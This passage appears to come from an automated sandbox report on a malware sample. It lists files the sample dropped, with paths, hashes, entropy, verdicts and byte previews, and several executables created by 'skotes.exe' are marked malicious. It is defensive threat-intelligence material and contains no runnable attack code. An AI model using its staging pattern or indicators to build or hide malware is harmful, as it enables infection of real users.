C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3026
Entropy (8bit):	5.386256063628651
Encrypted:	false
SSDEEP:	48:SfNaoQKu72P8yPQKrfNaoQ1HEHTwyQ1HufNaoQaOZO51J9QaO+fNaoQhdgEQaFfq:6NnQKu72HQKDNnQ1HEHTbQ1HWNnQaQqN
MD5:	E90ED14792D99942E649CFFEBBFBF842
SHA1:	80F99F041CB4974A35239A5C1A5C8C15F4FD758F
SHA-256:	4BEF44E59344D0156ACF5816D22101585E59233F7BD59D8C62B076EFBF8E4E3F
SHA-512:	A6A46572E138A79CCC56534FFD78A22D560C2B27BEB828A511ADC22847F67FD618851D58D5D883092AB11C1EBAE803EED55535E27B6F3138802A93B49A71185A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AFF3A09C0BA279D2FA9FD424BACBE105",.. "id": "AFF3A09C0BA279D2FA9FD424BACBE105",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AFF3A09C0BA279D2FA9FD424BACBE105"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2B84474AFDAE4255FDCBFA97BDF68030",.. "id": "2B84474AFDAE4255FDCBFA97BDF68030",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2B84474AFDAE4255FDCBFA97BDF68030"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2782720
Entropy (8bit):	6.451926326921579
Encrypted:	false
SSDEEP:	49152:w0KgKiWibTwsBhMRMF2ka8RgxwyxxNWBw0w6Y+uN:w5gKiwsBhMRMUkHRlyNGFJu
MD5:	A39F00A4959D374AD94FB439227CF00A
SHA1:	FC5334B462E328A6D8DA33672A74B10424AB2DB8
SHA-256:	55CBFEA5112EC6C3829278AD45E112DDD7B0391EA545E36F8C25D10B409248CA
SHA-512:	153BF74E77F764DE3877A553B2E7472A5504B2C91CA45372EB38474E8735CFD8BC4C26F64C354B7740654A772716E5ED937D0D301B49AF4E91A6522B030D36EE
Malicious:	false
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....y9+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...jtkzykov. .........:..............@...jfxnwzcu. ..........P.............@....taggant.@......"...T*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\03ac2762-5ea3-4981-8666-2454b4d1adb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1528582
Entropy (8bit):	7.992173750967128
Encrypted:	true
SSDEEP:	24576:1hGy9bUuF73IhBrd4M80aVVtIXGxMZ/LPVwem97TEkF/I98xDrj3/ypEegBFvsCs:1hGkUWQBXlaVIyhEkF/FZ/3/IEjb0Cfk
MD5:	91DA86C72EEC3E3962A804E6077B3972
SHA1:	F7C00EB7942E713C650DCBBAFBE6131007368BB7
SHA-256:	31957977393C483A5C75EEEA11A3A4BA5CD11436802B63EE81CCB793A24444CD
SHA-512:	B27EE64C72B48675A4366BDC555FAC996CE8741A15A0585E499E0A769BF197A0337F3C55C5641E837C34B2BA58B889E294BB9D744F16AA71657D4F6DEE8F4E41
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3204096
Entropy (8bit):	6.61916060252666
Encrypted:	false
SSDEEP:	98304:3wG9+fyV/2JJtaPR/vd74+Wbd9X/id1vbu3pau:9+fwwd/id1+pr
MD5:	7AC86C152BAC1FB0212A7FF9087A26E4
SHA1:	97B164DC69AF36443B6E49173F2CE406E74D1C00
SHA-256:	15B6BA95AC1A5A5F782D888D427AB68983920CD39196012E148B1D3D75166651
SHA-512:	1F931CC24B29B43A5A73EBAAC281D229CDCF1CD21F37C7F7F7E4C094744B98C6C390619BDCF97B7BDFE9508D2906C85A0219C4EE1E0C23D8C392EB6E8E57EF1C
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@.......................... 1.......1...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...anltzulc.0+......(+.................@...tzjtjjai......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2125312
Entropy (8bit):	7.958613860333182
Encrypted:	false
SSDEEP:	49152:wypcf15efOHkBDIt08r9gHG72vvIUjTUHzxwZWiT:5Sf5EBa79gHc2HIUOzO0W
MD5:	3BBAAF5B9F7EA350480F38F3477B2BDD
SHA1:	D35C156652C9CC1A42FF38763F591F9E4DAD2B37
SHA-256:	9EB63358423639336777B59BFE78F5BF586B73039ED161E9B398F8F29098BA15
SHA-512:	77E60EF6D7042200C0AE1A28B7CB79D9C91324F6E9A783FCD58AD01EA84AB08F17C9651D13BEF4A811479AB445EA9731BF7191889C4D02603D4939CD8E960635
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......`r...........@...........................r....... ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...uikmugxw......X.....................@...mucpsfol.....Pr......H .............@....taggant.0...`r.."...L .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2782720
Entropy (8bit):	6.451926326921579
Encrypted:	false
SSDEEP:	49152:w0KgKiWibTwsBhMRMF2ka8RgxwyxxNWBw0w6Y+uN:w5gKiwsBhMRMUkHRlyNGFJu
MD5:	A39F00A4959D374AD94FB439227CF00A
SHA1:	FC5334B462E328A6D8DA33672A74B10424AB2DB8
SHA-256:	55CBFEA5112EC6C3829278AD45E112DDD7B0391EA545E36F8C25D10B409248CA
SHA-512:	153BF74E77F764DE3877A553B2E7472A5504B2C91CA45372EB38474E8735CFD8BC4C26F64C354B7740654A772716E5ED937D0D301B49AF4E91A6522B030D36EE
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....y9+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...jtkzykov. .........:..............@...jfxnwzcu. ..........P.............@....taggant.@......"...T*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1ecea24a-806e-414b-a53b-c77029ec717d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\210eae70-9b07-40db-9050-a0893f4db9f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\2d31cf0f-bde1-4792-a32b-ca532d1aec5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsEGHJKFHJJJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3283968
Entropy (8bit):	6.614541700768565
Encrypted:	false
SSDEEP:	49152:/C4Wly0+XQ/Z4DmYG9xxx1UU/8dxSleIGlr9edvLoIsnFkitulfDN+:/C4WyfcZ4DmYG3xxWheebkiI
MD5:	3F37F3ED555BA8CB563F1C44D48F7DC0
SHA1:	4E48A0CC1CA64A4ADF0FE130C271E042C8D5CF79
SHA-256:	A604D7F02B52F55CF29DE06B95C46EAB8B3C2026E2572A176820BC5DBEE59551
SHA-512:	4231E1529F2C8D6DEE89ADBD852D2AAF19F14A274262F6D833467DB493F4E713563631F3B12659FC9E2610E9714B6D3DCAE94C206B5FE94C5888B5A8F53F54F2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.....V{2...@.................................W...k.............................2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...zfsnmxuo.`+......`+.................@...hrxqujut......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.388031865393326
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0435zcnvHJ04F5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa04/
MD5:	DBBAB50015F57D3A2B90ADBB448CDFB8
SHA1:	EFB8443706090CADA4976F6C3849B8972672EFE7
SHA-256:	0A6ADB620F072BCD3CCD28676EF4ACFA612E07BC66B30AC494392AC111EA0F85
SHA-512:	3383EC33165897EDDC71270B79A9EED1470265B250184DDB0D6AEA56BCE7C811E23BB503D8FB79DFB18BD5005C21FD8F94C4730EFC02CD2A7D8183367135D7F8
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\d86a0a35-766c-4884-850e-44ffbe388f76.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\e343b280-7841-40e2-a497-f53e2e96b3e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\f6319161-e47d-4efc-83b8-efdd8e29a82e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
